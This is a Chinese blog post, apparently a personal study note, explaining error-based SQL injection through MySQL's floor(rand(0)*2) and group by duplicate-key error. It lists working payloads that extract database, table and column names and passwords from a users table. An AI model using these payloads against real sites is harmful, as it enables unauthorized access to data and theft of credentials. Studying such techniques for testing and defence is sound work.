報錯型SQL注入

2021-10-01 02:32:54 字數 1794 閱讀 4935

最近一直在看sql,xss,檔案上傳之類的漏洞,沒有抽出空來寫寫部落格

上次總結了sql注入比較基礎的整型和字元型的注入,今天就總結一下報錯型的sql注入,等下次有時間了在寫一些,布林型的和時間型的盲注

關於報錯型的注入,是在當注入對時不顯示想得到的資料或者說注入對的時候只會有一種反應,但當注入錯誤時候會返回錯誤,這時就可以用報錯型的注入方法。

報錯型注入:

關鍵語句:

select count(*),(floor(rand(0)*2))x from information_schema.tables group by x

最關鍵的是三個函式分別是: rand(0),floor(),group by

基本上是靠這三個函式來報錯的,其中的原理我也是查了好多csdn上也有一下博主說的十分的詳細還帶有例子,簡單的說明一下,floor(rand(0)*2)的值是有一定順序的是 0110110110…,group by x 是對表裡x進行掃瞄然後形成表,當表裡沒有x值時count為1,當存在乙個一樣的時count +1,表中x為主鍵。group by 有乙個特點是x的值沒在表中時,在插入之前對group by後面的語句會再進行一次計算,然後再插入。有時會用 group by (floor(rand(0)2))來進行報錯,是因為rand(0)函式具有一定的隨機性,在計算時插入表的時候會造成主鍵的衝突,從而出錯,接著報錯。

下面列一下我用的報錯語句,我這裡就貼上的hackbar裡的報錯語句(還是要學會用一些工具來幫助自己,這樣會比較方便快捷)

爆庫名:and(select 1 from (select count(),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

爆表名: and(select 1 from (select count(),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

爆列名: and (select 1 from (select count(),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x7573657273 and table_schema=database() limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

爆資料: and (select 1 from (select count(),concat((select(select concat(cast(concat(password) as char),0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

ps:因為是好早之前做的了,這裡就沒有截圖了,只是總結一下報錯型注入的大致原理和語句。

解釋一下這些語句中 database()是庫名,username表名,users列名

SQL注入之報錯型注入

一般是在頁面沒有顯示位 但用echo mysql error 輸出了錯誤資訊的時候使用,它的特點是注入速度快,但是語句較複雜,不能用group concat 只能用limit依次猜解 count rand group by三者缺一不可 報錯注入用乙個公式,只要套用公式即可,公式如下 id 2 and...

SQL注入 報錯注入

乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...

SQL注入 報錯注入

sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...